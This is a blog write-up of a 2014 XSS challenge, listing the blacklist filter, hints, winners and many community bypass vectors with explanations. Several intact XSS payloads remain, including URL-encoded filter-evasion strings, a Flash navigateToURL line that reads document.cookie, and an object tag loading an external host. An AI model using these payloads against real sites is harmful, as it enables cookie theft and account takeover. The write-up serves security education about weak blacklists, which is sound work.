Rhainfosec XSS Challenge 1 - Writeup



Update - The challenge is still up on hack.me - https://hack.me/101575/bypass-blacklist-based-waf-challenge.html

On 7th January 2014, we announced an XSS challenge for the whole infosec community, the challenge was based upon blacklist based protection and the task was to bypass the blacklist based protection and to execute the javascript. Based upon unique IP addresses we had 1740 participants and more then 80k unique vectors were recorded into our log file which is a tremendous turn out, the size of the log file was around 4.4 mb, which is pretty huge. Out of 1740 participants only 17 were able to solve it, which is less then 1% (0.97 to be exact).

Challenge Setup

To make your lives a bit harder, we induced certain amount of difficulties. Here is an overview of what we had done:

  • We blacklisted alert, prompt, confirm, document.write functions which are most commonly used to execute javascript. 
  • We blacklisted open & closed parenthesis, which is what most of the XSS vectors require. 
  • We blacklisted most commonly used event handlers such as onclick, onfocus etc
  • We blacklisted the closing bracket ">". 
  • We blacklisted most of the attributes used to execute javascript such as src, formaction, action etc. 
  • We blacklisted "+" sign, which otherwise would had been used to concatenate javascript strings, however we did leave a room for it. (More on it later). 
  • The winners for the challenge would be decided on the basis of the shortest vector by length. 

Hints

The two of most important hints we gave was as follows:
  • Look at alternative javascript execution possibilities. 
  • The solution for the challenge was already given inside my "XSS filter evasion cheat sheet", however you would need tweak the payload. (Obviously, there was not point to the challenge, if the solution was already there).

Partial Bypass - Solution

As it was mentioned in one of the hints that you would need to look at alternative javascript execution possibilities. Almost all attributes were being filtered except the "code" and "data" attribute. The "code" attribute can be used along with the "embed" element and the "data" attribute can be object element to execute the javascript. 

Vector #1 

Several instances of the "Object" element were being filtered, however it wasn't difficult for some one to figure it out. The "data" attribute was being filtered out too, however case-sensitive based escaping was not being done. Therefore the final vector would be: 



Vector #2

A more easier partial solution would be to use "embed" element with "code" attribute: 


The reason, why i have coined the solutions as "Partial solution" is because of the fact that the javascript does not executes under the context of the main domain, "rafay.prakharprasad.com", for it to be termed as a full solution, the javascript must be executed under the context of the challenge domain. 

The following people who came up with partial bypass:

@yappare

http://rafay.prakharprasad.com/?search=

@sasilevi

http://rafay.prakharprasad.com/?search=

@irsdl 

http://rafay.prakharprasad.com/?search=

@soaj1664ashar

http://rafay.prakharprasad.com/?search=

@insertscript

http://rafay.prakharprasad.com/?search=%3CObjEct%2FdaTA=//dl.dropboxusercontent.com/u/13018058/ttt.htm?


@TurbanatorSJS

http://rafay.prakharprasad.com/?search=

Full Bypass - Solution

Let's first take a look at our solution and then take a look at amazing solutions from the community, we used window.open() function to set the name property to "javascript:alert(1)", we used string concatenation to join the "l" and "ocation" together, the "+" sign was being filtered out, however the encoded version of "+" was not being filtered out which is equivalent to "%2b".

Browsers: IE and Firefox
Let's now try the tremendous solutions we received from the community:

1)@skeptic_fx

Ahamed Nafeez was the first to solve the challenge by our expected method, The following solution works in Firefox w/o user interaction.

Length: 58 characters

POC #1



Later, he made it work inside both Internet explorer and Firefox:

Length: 121 characters

POC #2
http://rafay.prakharprasad.com/?search=

2)@fransrosen

Frans rosen came up with a very sophisticated bypass, The vector could had been shortened a lot though, but he decided not to do it, even though he could had. He used parentNode to walk to up the document, however all of these parentNodes could had been replaced with "top" or "self" and the POC still had worked, however this turns out to be a great technique in a case top and self keywords have been blacklisted.

Length: 366 Characters

POC
http://rafay.prakharprasad.com/?search=%3Csvg/onload=g=parentNode.parentNode.parentNode.parentNode.parentNode.parentNode;h=g[/loc/.source%2b/ation/.source]; g[/loc/.source%2b/ation/.source]=/javascrip/.source%2b/t/.source%2bh[/has/.source%2b/h/.source][1]%2b/aler/.source%2b/t/.source%2bh[/has/.source%2b/h/.source][2]%2b/documen/.source%2b/t./.source%2b/domain/.source%2bh[/has/.source%2b/h/.source][3]%0c#:%28%29

3)@insertscript

Alex, next came up with a nice and clean cross-browser bypass:

Length: 53 characters

POC
onclick=window.open('http://rafay.prakharprasad.com/?search=click

4)@hasegawayosuke

Hasegawa next came up with an amazingly short IE9 specific bypass using "onactivate" event handler, which only works with
internet explorer.

Length: 27 Characters

POC







Click Here

5)@avlidienbrunn

Mathias came up with several different solutions namely a universal solution that would work on all browsers and a chrome specific bypass with shortened length.

Length: 97 characters

POC

Along with his solution, he was kind enough to send an explanation on how it worked:

This solution relies upon setting the window.location property to a javascript URI. We can do this by accessing the property using the syntax with a string within brackets instead of the regular way (window["location"] versus window.location). Since a lot of strings were filtered (such as "alert" and "location"), we can use the same window.name trick to go transfer a string to the page. In the example I passed "javascript:alert(1)".

Sadly, only one string can be passed with that trick and as for the other string ("location"), I forged it by building a desired string out of another, character by character. But to do that I needed a string in the first place, so I used regex and addition to cast it into a string. /locatio/+/n/ becomes "/locatio//n/". From there we can just pick character by character and glue it together to make "location".

In the end we set window[string_from_regexes]=string_from_window_name, which becomes window["location"]="javascript:alert(1)", executing the alert.

Later, he came up with a chrome specific bypass of only 32 characters in length:

Length: 32 Characters

POC
data:text/html,

6)@yujikosuga

Yuji arrived in a bit late inside the challenge, but still managed to solve it in a decent amount of time.

Length: 57 characters

7)@philroberts & @adam_baldwin


Phil roberts next, came up with a huge and the most longest solution in terms of length.

Length: 527 characters

POC #1
http://rafay.prakharprasad.com/?search=%3Csvg/onload=z=[]%2batob;l=z[13];r=z[14];s=z[8];a=[]%2b/tnemucod/;a=a[8]%2ba[7]%2ba[6]%2ba[5]%2ba[4]%2ba[3]%2ba[2]%2ba[1];b=[]%2b/LMTHrenni/;b=b[9]%2bb[8]%2bb[7]%2bb[6]%2bb[5]%2bb[4]%2bb[3]%2bb[2]%2bb[1];c=[]%2b/Fa=crsFgmi%3C/;c=c[11]%2bc[10]%2bc[9]%2bc[8]%2bs%2bc[6]%2bc[5]%2bc[4]%2bc[3]%2bc[2]%2bs;d=[]%2b/X1Ztrela=rorreno/;d=d[16]%2bd[15]%2bd[14]%2bd[13]%2bd[12]%2bd[11] %2bd[10]%2bd[9]%2bd[8]%2bd[7]%2bd[6]%2bd[5]%2bd[4]%2bl%2bd[2]%2br;window[a].body[b]=c%2bd%2bwindow[a].body[b][8]//
Update: Philip has written an explanation for his huge solution here - https://gist.github.com/latentflip/8580688

Later, he managed to shorten it upto 97 characters:

Length: 97 Characters

POC #2

8)@mramydnei

Length: 140 characters

POC
http://rafay.prakharprasad.com/?search=%3Csvg/onload=a=[]%2b/trela/;a=a[5]%2ba[4]%2ba[3]%2ba[2]%2ba[1];window.onerror=window[a];throw/1///

9)@kinugawamasato

King Masato surprised me with his amazing solutions, he first came up with a very sophisticated bypass and then managed to shorten the vectors up to 25 characters. How awesome is that!

Length: 28 characters

POC #1
The above vector would work upon both IE and chrome browsers, it won't work on firefox because of the fact that firefox encodes certain characters after the hash. The technique is very useful for bypassing server side filters as payload sent after the hash is not sent to the server and hence our WAF was not able to detect the payload and there managed to bypass.

Later masato came up with an amazing chrome specific solution:

Length: 25 characters

POC #2

10) @dnkolegov

Denis, came up with three different solutions and in the end managed to shorten it upto 77 characters.

Length: 77 characters

POC:

http://rafay.prakharprasad.com/?search=

11) @0x6D6172696F

Dr Mario Heidrech also came up with a superb bypass using Vbscript, The current solution works upto IE 10. He was also able to solve the challenge inside of IE 11 by getting IE 11 to load up the page inside the document mode, however the solution cannot be disclosed yet as it's pending a fix.

Length: 34 characters

POC

12)Garrett Calpouzos

Garrett utilized the throw technique to solve the challenge, which was one of the hints which we i had given before. 

Length: 130 characters

13)@soaj1664ashar

Ashar javed came up with several partial bypasses and a full bypass:

Length: 71 characters

POC

14)@netfuzzer

Mario gomes came up with several valid solutions and finally managed to settle it without user interaction with a 63 character payload.

Length: 63 characters
data:text/html,

15) @shafigullin

Shafigullin, as always came up with a very cool solution. He took the "l" character from the URL[61] and then concatinated the "l" to "ocation" from the ID attribute. A very neat trick to get things done.

Length: 50 characters

POC
http://xss-shafigullin-pro.appspot.com/reflector?protection=0&content=%3Cscript%3Ename=%27javascript:alert(1)%27;location=%27http://rafay.prakharprasad.com/?search=%3Csvg/id=ocation%2509onload=top[URL[61]%252bid]=name%2509%27%3C/script%3E
The following is the payload that would be sent to the server:

16)@cgvwzq

Pepevila also came up with an exceptional solution. In short, he stores "source" inside of the s variable and  location inside the $ variable and top.location inside  _ to shorten his vector. He then applies it to top[$] which is equivalent to (top["location"]), then he uses _.hash[1] to extract the ":" after the hash and finally extracts "-alert(1)" from location.pathname.

Length: 153 Characters

POC
http://rafay.prakharprasad.com/1/-alert%281%29?search=%3Csvg/onload=s=/source/.source;$=/locatio/[s]%2B/n/[s];_=top[$];top[$]=/javascrip/[s]%2B/t/[s]%2B_[/has/[s]%2B/h/[s]][1]%2B_.pathname//#:

- http://bit.ly/1dgBYJT

17)@irsdl

Soroush was one the first to come up with a partial bypass, however later he surprised me by being able to execute javascript under the context of the challenge domain by loading an external flash file. He basically managed to bypass Flash sandbox security inside Firefox (and later all browsers) by using JAR protocol and NavigateToURL.

Length: 24 characters

POC #1

http://rafay.prakharprasad.com/?search=

Along with it, he also sent an explanation on how he was able to bypass the flash sandbox security inside of firefox first and then for all browsers.

Source Code of the Flash File:

navigateToURL(new URLRequest("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);"),"testme");

1- target page name has been set to "testme" as "", "_self", "_top", and "_parent" are not allowed when we do not have (allowScriptAccess="always") in Object tag in HTML. it causes Security sandbox violation. Therefore, I have chosen a name for my target page ("testme").

2- We cannot use Javascript: protocol in NavigateToURL as it raises another Security sandbox violation without having proper allowScriptAccess. However, if I use JAR: protocol, this will will be bypassed (http://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-part-2-navigatetourl-and-jar-protocol/).

3- Now I just need to open this Javascript protocol with Jar protocol in a blank page that inherits its opener. However, this method does not work in IE and Google Chrome very well as they do not popup a new window easily! We can still exploit this if our current window name is "testme" as it does not need to open a new window! as Iframe is blocked, we can use an A tag with target to "testme" which embeds the attacker's flash file! attacker's flash file will open a Javascript in "testme" (the same) window.

Obviously the solution can still be shortened by using a more smaller domain.

POC# 2 

Length: 22 characters

Apart from firefox, Soroush also managed to bypass flash based sandbox protection inside of all the browsers and came up with an amazing 22 characters.

Solution

Click Here

http://jsfiddle.net/P9trW/
http://jsfiddle.net/P9trW/1

Note: The bypasses have been patched by Flash security team as per now

Winners

The winners are obviously transparent from above solutions, the winners were determined based upon the length of the vector.

1) Soroush Dallili (22 Characters) // Cross Browser Bypass
2) Masato Kinugawa (25 Characters) // Chrome Specific Bypass
3) Yosuka Hasegawa (27 Characters) // Internet Explorer Specific Bypass

Conclusion

The challenge was based upon strict black list based filtering, however the bypasses prove that blacklist based filters shall not be relied as your only defense mechanisms.

In case, if i have missed any of your submission, please let me know, I'll update the challenge. I would like to sincerely thank "Frans Rosen", "Mathias" and "Prakhar Prasad" and "Alex Infuhr" for helping me analyzing the solutions and with other aspects of the challenge. I hope you had fun in doing the challenge and hopefully learned some thing new, just like us by analyzing your solutions.

I would love to hear your feedback! Pass your comments.